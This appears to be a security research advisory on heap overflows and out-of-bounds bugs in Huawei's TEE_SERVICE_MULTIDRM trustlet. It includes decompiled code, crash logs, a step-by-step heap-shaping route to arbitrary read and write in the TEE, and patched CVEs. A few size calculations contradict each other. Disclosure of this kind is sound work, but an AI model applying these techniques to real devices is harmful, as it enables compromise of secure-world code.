impalabs space base graphics
Huawei TrustZone TEE_SERVICE_MULTIDRM Vulnerabilities
This advisory contains information about the following vulnerabilities:

Huawei's TEE_SERVICE_MULTIDRM TA conforms to the GlobalPlatform TEE Internal Core API. As such, it receives commands from a client application located in the normal world. These commands are handled by the TA_InvokeCommandEntryPoint function.

Heap Buffer Overflow in MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys

The first heap buffer overflow is in the MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys function:

int MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys(int paramTypes, TEE_Param params[4]) {
    // [...]
    cur_ptr = params[0].memref.buffer;
    size_left = params[0].memref.size;
    uint32_t *alloc;
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user1);
    if (ret) goto EXIT;
    cur_ptr += 4; size_left -= 4;

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user2);
    if (ret) goto EXIT;
    cur_ptr += 4; size_left -= 4;

    ret = MDrm_Memory_Calloc(8 * sizeof(uint32_t) * user2, &alloc);
    if (ret) goto EXIT;

    for (int i = 0; i != user2; ++i) {
        for (int j = 0; j != 8; ++j) {
            ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &alloc[i*8+j]);
            if (ret) goto EXIT;
            cur_ptr += 4; size_left -= 4;
        }
    }

    ret = MDrm_TA_CryptoKeyLadder_LoadEntitledContentKeys(
        user1, &params[1], user2, alloc);

EXIT:
    MDrm_free(alloc);
    return ret;
}

There is an integer overflow on the first argument of the call to MDrm_Memory_Calloc. user2 is a user-controlled value coming from the buffer in params[0]. For example, by giving user2 the value 0x80000001, the size of the allocation will be 0x80000001 * 0x20 = 0x20.

user2 is then used as a loop counter. Each iteration of the loop reads 8 integer values from the params[0] buffer and into the heap allocated buffer. Since the allocated buffer is smaller than expected, this allows an attacker to overflow the buffer with controlled data. Furthermore, it is possible to control the overflow size by limiting the size of the params[0] buffer, as MDrm_Utils_ReadU32 will return with an error code when the end of the buffer has been reached.

We triggered this bug with a proof of concept and obtained the following crash:

[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 1f00000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x1032000, fault_code: 0x92000047
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=7015 prefer-ca=7015
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys+0x19c/0x27c>
[HM] <MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys>+0x174/0x27c
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 1f00000022 (tid: 34) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x41414149, fault_code: 0x92000046
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=34 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=49 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=0 prefer-ca=0
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <?>+0x0/0x0
[HM] invalid fp. backtrace abort
[HM] Dump task states END
[HM]

It is possible to exploit this heap buffer overflow to gain arbitrary read and write capabilities, as we will demonstrate in the Exploitation section of this advisory.

Heap Buffer Overflow in MDrm_TA_CMD_OEMCrypto_LoadKeys

A similar heap buffer overflow can be found in the MDrm_TA_CMD_OEMCrypto_LoadKeys function:

int MDrm_TA_CMD_OEMCrypto_LoadKeys(int paramTypes, TEE_Param params[4]) {
    // [...]
    cur_ptr = params[0].memref.buffer;
    size_left = params[0].memref.size;
    uint32_t *alloc;
    // [...]

    // 5 calls to MDrm_Utils_ReadU32
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
    if (ret) goto EXIT;
    cur_ptr += 4; size_left -= 4;

    ret = MDrm_Memory_Calloc(10 * sizeof(uint32_t) * read_val, alloc);
    if (ret) goto EXIT;

    for (i = 0; i != read_val; ++i) {
        for (int j = 0; j != 10; ++j) {
            ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &alloc[i*10+j]);
            if (ret) goto EXIT;
            cur_ptr += 4; size_left -= 4;
        }
    }

    // 5 calls to MDrm_Utils_ReadU32
    // [...]
    ret = MDrm_TA_CryptoKeyLadder_LoadKeys(...);

EXIT:
    MDrm_free(alloc);
    return ret;
}

The root cause is exactly the same as for the previous bug. For example, by giving read_val the value 0x6666667, the size of the allocation will be 0x6666667 * 0x28 = 0x18.

We triggered this bug with a proof of concept and obtained the following crash:

[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 1f00000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x1281000, fault_code: 0x92000047
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=7265 prefer-ca=7265
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_TA_CMD_OEMCrypto_LoadKeys+0x2d8/0x484>
[HM] <MDrm_TA_CMD_OEMCrypto_LoadKeys>+0x2b4/0x484
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 1f00000022 (tid: 34) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x41414149, fault_code: 0x92000046
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=34 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=49 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=0 prefer-ca=0
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <?>+0x0/0x0
[HM] invalid fp. backtrace abort
[HM] Dump task states END
[HM]

Heap Buffer Overflow in MDrm_TA_CMD_OEMCrypto_RefreshKeys

A similar heap buffer overflow can be found in the MDrm_TA_CMD_OEMCrypto_RefreshKeys function:

int MDrm_TA_CMD_OEMCrypto_RefreshKeys(int paramTypes, TEE_Param params[4]) {
    // [...]
    cur_ptr = params[0].memref.buffer;
    size_left = params[0].memref.size;
    uint32_t *alloc;
    // [...]

    // 1 call to MDrm_Utils_ReadU32
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
    if (ret) goto EXIT;
    cur_ptr += 4; size_left -= 4;

    ret = MDrm_Memory_Calloc(6 * sizeof(uint32_t) * read_val, alloc);
    if (ret) goto EXIT;

    for (i = 0; i != read_val; ++i) {
        for (int j = 0; j != 6; ++j) {
            ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &alloc[i*6+j]);
            if (ret) goto EXIT;
            cur_ptr += 4; size_left -= 4;
        }
    }

    ret = MDrm_TA_CryptoKeyLadder_RefreshKeys(...);

EXIT:
    MDrm_free(alloc);
    return ret;
}

The root cause is exactly the same as for the previous bug. For example, by giving read_val the value 0x6666667, the size of the allocation will be 0x80000001 * 0x18 = 0x18.

We triggered this bug with a proof of concept and obtained the following crash:

[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 1f00000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0xc96000, fault_code: 0x92000047
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=7182 prefer-ca=7182
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_TA_CMD_OEMCrypto_RefreshKeys+0x1b4/0x23c>
[HM] <MDrm_TA_CMD_OEMCrypto_RefreshKeys>+0x18c/0x23c
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 1f00000022 (tid: 34) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0x41414149, fault_code: 0x92000046
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=34 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=49 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=0 prefer-ca=0
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <?>+0x0/0x0
[HM] invalid fp. backtrace abort
[HM] Dump task states END
[HM]

Heap Buffer Overflow in MDrm_TA_OEMCryptoUsageTable_LoadUsageTableHeader

A similar heap buffer overflow can be found in the MDrm_TA_OEMCryptoUsageTable_LoadUsageTableHeader function:

int MDrm_TA_OEMCryptoUsageTable_LoadUsageTableHeader(TEE_Param *param1, uint32_t *a2) {
    // [...]
    // HMAC/SHA256 verification and AES/CBC/PKCS5 decryption of param1

    cur_ptr = plaintext.memref.buffer;
    size_left = plaintext.memref.size;
    uint64_t *alloc;

    // [...]
    // 1 call to read_u64_update_ptrs

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
    if (ret) goto EXIT;
    cur_ptr += 4; size_left -= 4;

    ret = MDrm_Memory_Calloc(sizeof(uint64_t) * read_val, alloc);
    if (ret) goto EXIT;

    for (i = 0; !ret && i != read_val; ++i)
        ret = read_u64_update_ptrs(&cur_ptr, &size_left, &alloc[i]);

    // [...]
    // loading of the usage table header

EXIT:
    return ret;
}

The root cause is exactly the same as for the previous bug. For example, by giving read_val the value 0x20000001, the size of the allocation will be 0x20000001 * 8 = 8.

Unfortunately, we are unable to trigger this bug with a proof of concept as the input data is first authenticated and decrypted, and we didn't find a standalone way to leak the keys used in those operations (but we could do it by using another bug).

OOB Write access in MDrm_TA_CMD_OEMCrypto_CopyBuffer

There is a OOB write access in the MDrm_TA_Decryption_CopyBuffer function, that can be reached through the code path starting in the MDrm_TA_CMD_OEMCrypto_CopyBuffer function:

int MDrm_TA_CMD_OEMCrypto_CopyBuffer(int paramTypes, TEE_Param params[4]) {
    // [...]
    cur_ptr = params[0].memref.buffer;
    size_left = params[0].memref.size;
    memset_s(&cpybuf, 0x10, 0, 0x10);
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &session_id);
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &cpybuf.type);
    // [...]

    ret = MDrm_TA_ION_MemoryMap(
        params[1].memref.buffer, params[1].memref.size, 1, 1, &ionbuf);
    // [...]

    switch (cpybuf.type) {
    // [...]
    case 1:
        cpybuf.buf = params[2];
        ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &cpybuf.offset);
        // [...]
        break;
    // [...]
    }

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &val_read);
    // [...]

    MDrm_TA_Decryption_CopyBuffer(session_id, &ionbuf, &cpybuf, val_read);
    // [...]

    if (ionbuf.memref.buffer)
        ret = MDrm_TA_ION_MemoryUnMap(
            ionbuf.memref.buffer, ionbuf.memref.size, 1, params[1].memref.buffer);

    return ret;
}

MDrm_TA_CMD_OEMCrypto_CopyBuffer reads two integer values, session_id and cpybuf.type, from the params[0] buffer. It then maps the ION buffer in params[1] into ionbuf. If cpybuf.type is 1, it then reads another integer value, cpybuf.offset, from the params[0] buffer. Finally, it reads another value and calls MDrm_TA_Decryption_CopyBuffer.

int MDrm_TA_Decryption_CopyBuffer(int session_id, TEE_Param *ionbuf, copy_buf_t *cpybuf, int val_read) {
    // [...]
    TEE_Param outbuf;
    // [...]

    is_type_2 = 0;
    ret = check_copybuf(ionbuf, cpybuf, &outbuf, &is_type_2);

    if (!ret && !is_type_2) {
        if (MDrm_TA_OEMCryptoEngine_FindSession(session_id, &session)) {
            memcpy_s(outbuf.memref.buffer, ionbuf->memref.size,
                     ionbuf->memref.buffer, ionbuf->memref.size);
        } else {
            // [...]
        }
    }

    // [...]
    return ret;
}

MDrm_TA_Decryption_CopyBuffer calls check_copybuf. If the check succeeds and cpybuf.type is not 2, it calls MDrm_TA_OEMCryptoEngine_FindSession. If the session ID is invalid, it copies from ionbuf->memref.buffer into outbuf.memref.buffer with a size of ionbuf->memref.size. ionbuf is one of the input parameters, so let's see how check_copybuf sets outbuf.

int check_copybuf(TEE_Param *ionbuf, copy_buf_t *cpybuf, TEE_Param *outbuf, uint8_t *is_type_2) {
    // [...]
    TEE_Param *out_ionbuf;
    // [...]

    if (cpybuf.type == 1) {
        cpybuf_buf = cpybuf->buf.memref.buffer;
        cpybuf_size = cpybuf->buf.memref.size;

        if (ionbuf->memref.size + cpybuf->offset <= cpybuf_size) {
            outbuf->memref.size = ionbuf->memref.size;

            is_secure_mem = 0;
            ret = MDrm_TA_ION_IsSecureMemory(cpybuf_buf, cpybuf_size, &is_secure_mem);
            if (!is_secure_mem)
                return 0x77771001;

            ret = MDrm_TA_ION_MemoryMap(cpybuf_buf, cpybuf_size, 0, 1, &out_ionbuf);
            outbuf->memref.buffer = out_ionbuf->memref.buffer + cpybuf->offset;
            return ret;
        }
        return 0x77770007;
    }
    // [...]
    return ret;
}

check_copybuf, if the type is 1, checks that ionbuf->memref.size + cpybuf->offset <= cpybuf->buf.memref.size. It also ensures the cpybuf is allocated from secure memory. It then calls MDrm_TA_ION_MemoryMap to map it into out_ionbuf. Finally, outbuf->memref.buffer is set to out_ionbuf->memref.buffer + cpybuf->offset, and outbuf->memref.size to ionbuf->memref.size.

The issue is the possible integer overflow on the addition ionbuf->memref.size + cpybuf->offset. For example, if the size is 0x1000, by specifying an offset of -0x1000 = 0xfffff000, the sum will be 0x1000 + 0xfffff000 = 0. Thus, it is possible to specify a "negative" offset that will pass the check, resulting in outbuf->memref.buffer being located before out_ionbuf->memref.buffer.

Back in MDrm_TA_Decryption_CopyBuffer, the memcpy_s will copy from ionbuf->memref.buffer into our out-of-bounds value outbuf.memref.buffer.

While we wrote some a proof of concept for this bug, it did not trigger a crash. We think that ionbuf is mapped right before cpybuf / outbuf in memory, and since we can only specify offsets in the range [ -(ionbuf->memref.size) ; cpybuf_size - ionbuf->memref.size ], the OOB access are happening on mapped memory.

OOB Read Access in MDrm_TA_CMD_OEMCrypto_DecryptCENC

The first OOB read access is in the MDrm_TA_CMD_OEMCrypto_DecryptCENC function:

int MDrm_TA_CMD_OEMCrypto_DecryptCENC(int paramTypes, TEE_Param params[4]) {
    // [...]
    cur_ptr = params[0].memref.buffer;
    size_left = params[0].memref.size;
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user1);
    if (ret) goto EXIT;
    cur_ptr += 4; size_left -= 4;

    ret = MDrm_Utils_ReadU16(cur_ptr, size_left, &user2);
    if (ret) goto EXIT;
    cur_ptr += 2; size_left -= 2;

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user3);
    if (ret) goto EXIT;
    cur_ptr += 4 + user3;
    size_left -= 4 + user3;

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user4);
    // [...]
}

As evidenced in the snippet above, the user-controlled value user3 is used to increment the cur_ptr and to decrement size_left. By giving user3 a value bigger than the actual remaining size of the params[0] buffer, cur_ptr will be out-of-bounds of the buffer. There will also be an integer underflow on size_left resulting in a huge size. The next call to MDrm_Utils_ReadU32 will read from an attacker-controlled address (0x7000300a + user3).

We triggered this bug with a proof of concept and obtained the following crash at 0xb141714b = 0x7000300a + 0x41414141:

[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0xb141714b, fault_code: 0x92000005
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=7364 prefer-ca=7364
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_Utils_ReadU32+0x48/0x6c>
[HM] <MDrm_TA_CMD_OEMCrypto_DecryptCENC>+0xfc/0x300
[HM] <MDrm_TA_CMD_OEMCrypto_DecryptCENC>+0xfc/0x300
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
[HM] [TRACE][1212]pid=52 exit_status=130

OOB Read Access in MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30

A similar OOB read access can be found in the MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30 function:

int MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30(int paramTypes, TEE_Param params[4]) {
    // [...]
    cur_ptr = params[0].memref.buffer;
    size_left = params[0].memref.size;
    // [...]

    // 2 calls to MDrm_Utils_ReadU32
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
    if (ret) goto EXIT;
    cur_ptr += 4 + read_val;
    size_left -= 4 + read_val;

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
    // [...]
}

The root cause is exactly the same as for the previous bug. We triggered this bug with a proof of concept and obtained the following crash at 0xb141714d = 0x7000300c + 0x41414141:

[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0xb141714d, fault_code: 0x92000005
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=6821 prefer-ca=6821
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_Utils_ReadU32+0x48/0x6c>
[HM] <MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30>+0xd8/0x18c
[HM] <MDrm_TA_CMD_OEMCrypto_RewrapDeviceRSAKey30>+0xd8/0x18c
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]
[HM] [TRACE][1212]pid=42 exit_status=130

OOB Read Access in MDrm_TA_CMD_Provision_GetRequest

A similar OOB read access can be found in the MDrm_TA_CMD_Provision_GetRequest function:

int MDrm_TA_CMD_Provision_GetRequest(int paramTypes, TEE_Param params[4]) {
    // [...]
    cur_ptr = params[0].memref.buffer;
    size_left = params[0].memref.size;
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
    if (ret) goto EXIT;
    cur_ptr += 4 + read_val;
    size_left -= 4 + read_val;

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &read_val);
    // [...]
}

The root cause is exactly the same as for the previous bug. We triggered this bug with a proof of concept and obtained the following crash at 0xb1417145 = 0x70003004 + 0x41414141:

[HM] [ERROR][2171]vmem_as_ondemand_prepare failed
[HM] [ERROR][2496]process 2200000028 (tid: 40) data abort:
[HM] [ERROR][2498]Bad memory access on address: 0xb1417145, fault_code: 0x92000005
[HM]
[HM] Dump task states for tcb
[HM] ----------
[HM]     name=[TEE_SERVICE_MUL] tid=40 is-idle=0 is-curr=0
[HM]     state=BLOCKED@MEMFAULT sched.pol=0 prio=46 queued=1
[HM]     aff[0]=ff
[HM]     flags=1000 smc-switch=0 ca=5746 prefer-ca=5746
[HM] Registers dump:
[HM] ----------
[HM] 32 bits userspace stack dump:
[HM] ----------
[HM] <MDrm_Utils_ReadU32+0x48/0x6c>
[HM] <MDrm_TA_CMD_Provision_GetRequest>+0x94/0x158
[HM] <MDrm_TA_CMD_Provision_GetRequest>+0x94/0x158
[HM] <tee_task_entry>+0x398/0xcd4
[HM] Dump task states END
[HM]

Exploitation

As explained in the Vulnerabilities details section, we are going to exploit one of the vulnerabilities, namely the one in MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys, to prove that it is possible to gain arbitrary read/write from each of the heap buffer overflows. The exploitation paths of the other overflows would be very similar.

Our Device Setup

The device we have developed an exploit for is a P40 Pro running the firmware update ELS-LGRP4-OVS_11.0.0.196.

The trustlet binary MD5 checksum is as follows:

HWELS:/ # md5sum /vendor/bin/0069f244-9733-4e8c-98c7-e36cb764a6b6.sec
eb62634a90b7e72da420d124019cc13b  /vendor/bin/0069f244-9733-4e8c-98c7-e36cb764a6b6.sec

Huawei's TEE OS iTrustee implements a whitelist mechanism that only allows specific client applications (native binaries or APKs) to talk to a trusted application.

In our case, the TEE_SERVICE_MULTIDRM TA can only be called by 4 native binaries:

  • /vendor/bin/atcmdserver (uid 0)
  • /vendor/bin/hw/android.hardware.drm@1.2-service.widevine (uid 1013)
  • /vendor/bin/hw/android.hardware.drm@1.0-service (uid 1013)
  • /system/bin/mediadrmserver (uid 1013)

The authentication mechanism is implemented in 3 parts:
- the teecd daemon, that implements the TEE Client API, checks which native binary/APK is talking to it and sends that information to the kernel driver;
- the kernel driver ensures that it is talking to teecd, and forwards the information it received to the TEE OS;
- the TEE OS verifies that the client application is in the TA's whitelist.

Since we did not want to bother with injecting code in one of these binaries, we chose to circumvent the authentication by patching the kernel driver to add the ability to impersonate any native binary/APK.

Arbitrary Read

The first step is to build an arbitrary read, because we can then use it to find the base address of the trustlet (using the TALoader information leak).

To build this arbitrary read, we will place the object we can overflow right before a session. This way we will be able to modify the fields of the session object, in particular the "RSA key pointer" that is dereferenced in some of the commands.

To ensure our allocation ends up right where we want it to be, we will need to do some heap shaping. In our exploit, we start by allocating 64 sessions (the maximum number). These sessions should be following each other in memory. Then we free one of them, in our case the middle one, to leave space for the object that we will allocate and overflow.

It is actually a little bit more complicated than that, as opening a single session triggers 3 allocations:

  • an allocation of 0x98 (rounded up to 0xA0, the session)
  • an allocation of 0x30 (rounded up to 0x40, a nonce table entry)
  • an allocation of 0x8 (rounded up to 0x10, a list entry)

Nevertheless, the 3 allocations can be thought of as one big allocation. They are freed sequentially when closing the session, and the allocator coalesces neighboring objects, so they will end up as a single free chunk of size 0xF0.

int MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys(int paramTypes, TEE_Param params[4]) {
    // [...]
    cur_ptr = params[0].memref.buffer;
    size_left = params[0].memref.size;
    uint32_t *alloc;
    // [...]

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user1);
    if (ret) goto EXIT;
    cur_ptr += 4; size_left -= 4;

    ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &user2);
    if (ret) goto EXIT;
    cur_ptr += 4; size_left -= 4;

    ret = MDrm_Memory_Calloc(8 * sizeof(uint32_t) * user2, &alloc);
    if (ret) goto EXIT;

    for (int i = 0; i != user2; ++i) {
        for (int j = 0; j != 8; ++j) {
            ret = MDrm_Utils_ReadU32(cur_ptr, size_left, &alloc[i*8+j]);
            if (ret) goto EXIT;
            cur_ptr += 4; size_left -= 4;
        }
    }

    ret = MDrm_TA_CryptoKeyLadder_LoadEntitledContentKeys(user1, &params[1], user2, alloc);

EXIT:
    MDrm_free(alloc);
    return ret;
}

After the heap has been sprayed, we call LoadEntitledContentKeys to allocate and overflow the object. Since we specify a user2 value of 0x80000007, the allocation will be of size 0x80000007 * 0x18 = 0xE0, which should fit perfectly into the hole we made during the heap spraying (leaving enough space for the heap metadata).

Right after the object we overflow is the metadata of the next object:

struct chunk {
    size_t psize, csize;        /* for all objects */
    struct chunk *next, *prev;  /* for free objects only */
};

In the metadata of the session object, we overwrite:

  • the psize with 0xF1 = 0xF0 | 1. 0xF0 is the size of the object we just allocated (taking into account the metadata size and rounded up to the next 16-byte boundary). 1 is the C_INUSE flag (denoting that the previous object was allocated and not free). This prevents the crash when our object is freed, as the allocator can detect a corrupted footer.
  • the csize with 0xA1 = 0xA0 | 1. 0xA0 is the size of the session object (the first of the 3 objects allocated when a session is opened). We specify the C_INUSE flag so that it doesn't get coalesced with our object.

Since the session object is in-use, the next and prev pointers are not in its metadata, and the object content starts right after csize.

In the content of the session object, we overwrite:

  • the session ID (the field at offset 0) with 0x1337;
  • the pointer to the session's RSA key (at offset 4) with the address we want to read from;
  • the RSA key usage (at offset 8) with 0xFF (to pass the checks in GenerateRSASignature).

We then use the GenerateRSASignature command to trigger the arbitrary read.

int MDrm_TA_CMD_OEMCrypto_GenerateRSASignature(int paramTypes, TEE_Param params[4]) {
    // [...]
    ret = MDrm_TA_DrmCertificateProvisioning_GenerateRSASignature(
        params[0].value.a, &params[1], &params[2], params->value.b);
    if (ret == 0x77770007) {
        ret = 0;
        params[3].value.a = params[2].memref.size;
    }
    // [...]
}
int MDrm_TA_DrmCertificateProvisioning_GenerateRSASignature(int sessionId, TEE_Param *data TEE_Param *sign, int usage) {
    // [...]
    ret = MDrm_TA_OEMCryptoEngine_FindSession(sessionId, &session);
    if (!ret)
        ret = MDrm_TA_OEMCryptoSession_SignMessage(session, data, sign, usage);
    return ret;
}
int MDrm_TA_OEMCryptoSession_SignMessage(session_t *session, TEE_Param *data, TEE_Param *sign, int usage) {
    // [...]
    if ((usage & session->rsa_key_usage) == 0)
        return 0x77770019;
    ret = MDrm_TA_Crypto_RsaKeySze(rsa_key, &rsa_key_size);
    if (!ret) {
        if (sign->memref.size < rsa_key_size) {
            result = 0x77770007;
            sign->memref.size = rsa_key_size;
        }
        // [...]
    }
    return ret;
}
int MDrm_TA_Crypto_RsaKeySze(void *key, uint32_t *key_size_p) {
    // [...]
    *key_size_p = *(key + 4);
    // [...]
}

This command can be made to return a value read from the RSA key pointer that we just forged. The RSA key usage field that we have set to 0xFF allows passing the first check in MDrm_TA_OEMCryptoSession_SignMessage. This function then calls MDrm_TA_Crypto_RsaKeySze, that will read a dword at offset 4 from the RSA key pointer and put it into the local variable rsa_key_size. By specifying a very small value for sign->memref.size (one of the input parameters), sign->memref.size will be set to rsa_key_size and the function will return early with the code 0x77770007.

Back in MDrm_TA_CMD_OEMCrypto_GenerateRSASignature, the return code of MDrm_TA_DrmCertificateProvisioning_GenerateRSASignature will be checked, and if it is 0x77770007, params[3].value.a will be set to the value that was put into sign->memref.size. This effectively allows the CA to retrieve the value that was just read.

To avoid crashing when the session is closed, after each read we trigger the heap buffer overflow a second time to set the RSA key pointer to NULL.

Arbitrary Write

For our write primitive, we could have simply used the classical unlinking heap exploitation technique triggered when our object is freed.

// called from free(), c is the freed object
static void unbin(struct chunk *c, int i)
{
    if (c->prev == c->next)
        a_and_64(&mal.binmap, ~(1ULL<<i));
    c->prev->next = c->next;
    c->next->prev = c->prev;
    c->csize |= C_INUSE;
    NEXT_CHUNK(c)->psize |= C_INUSE;
}

By overflowing the metadata of the next object, we can set c->prev and c->next to arbitrary values. When freeing this object, the unbin function will be executed and it will:

  • write the value c->next to the address c->prev + 8;
  • write the value c->prev to the address c->next + 12.

But this technique has a major drawback: both the address and value must be writable addresses. To work around that, we decided to use the SetDecryptHash command to do our final write.

int MDrm_TA_CMD_OEMCrypto_SetDecryptHash(int paramTypes, TEE_Param params[4]) {
    // [...]
    return MDrm_TA_TestAndVerificationFunctions_SetDecryptHash(
        params[0].value.a, params[0].value.b, &params[1]);
}
int MDrm_TA_TestAndVerificationFunctions_SetDecryptHash(int a, int b, TEE_Param *param1) {
    // [...]
    ret = j_MDrm_TA_OEMCryptoEngine_FindSession(a, &session);
    if (!ret)
        ret = MDrm_TA_OEMCryptoSession_SetDecryptHash(session, b, param1);
    return ret;
}
int MDrm_TA_OEMCryptoSession_SetDecryptHash(session_t *session, int b, TEE_Param *param1) {
    // [...]
    session->user_b = b; /* offset 0x8c */
    session->user_param1 = *(int *)param1->memref.buffer; /* offset 0x88 */
    // [...]
}

This command will write two dword values at offsets 0x88 and 0x8c in a session object. We need to give it a session object that is at a user-controlled address. We can do that by using our unlink primitive to modify the global sessions linked list that MDrm_TA_OEMCryptoEngine_FindSession walks to find a session by its ID.

In our exploit, we demonstrate our read/write primitives by writing a value (0xdeadbeef) in the trustlet .data section and reading it back.

adb wait-for-device shell su root sh -c "/data/local/tmp/tee_service_multidrm"
ta_base_addr = 38fb000
g_sessions = 113ef10
first = 113ffb0
0392c0d0: deadbeef (should be 0xdeadbeef)

Getting Code Execution

While it is not included in the exploit, it is possible to get code execution, for example by overwriting the function pointers of the global_hooks global variable of the cJSON library, or one of the libc's many global variables. This could be used to make arbitrary syscalls and potentially further escalate privileges.

Affected Devices

We have verified that the vulnerabilities impacted the following device(s):

  • Kirin 990: P40 Pro (ELS)

Please note that other models might have been affected.

Patch

Name Severity CVE Patch
Heap Buffer Overflow in MDrm_TA_CMD_OEMCrypto_LoadKeys Critical CVE-2021-46881 May 2023
Heap Buffer Overflow in MDrm_TA_CMD_OEMCrypto_LoadEntitledContentKeys Critical CVE-2021-40034 August 2022
Heap Buffer Overflow in MDrm_TA_CMD_OEMCrypto_RefreshKeys Critical CVE-2021-46882 May 2023
